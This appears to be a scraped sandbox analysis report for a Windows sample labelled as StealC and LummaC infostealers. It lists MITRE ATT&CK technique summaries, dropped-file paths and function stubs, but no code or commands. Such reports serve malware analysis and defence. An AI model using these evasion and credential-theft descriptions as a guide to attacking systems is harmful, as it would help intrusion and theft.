Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0HdDuWzp54.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NCU1LYX00CJA4N4Z4DG.exe.log

C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
0HdDuWzp54.exe

Function 00C7B0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Function 00C6DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 00C6DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Function 053E0E07 Relevance: 1.6, APIs: 1, Instructions: 95
serviceCOMMON

Function 053E0E10 Relevance: 1.6, APIs: 1, Instructions: 92
serviceCOMMON

Function 053E0D43 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 053E0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 053E1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 053E1509 Relevance: 1.6, APIs: 1, Instructions: 53
serviceCOMMON

Function 053E1301 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 053E1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00C7BFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Function 00AEE6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre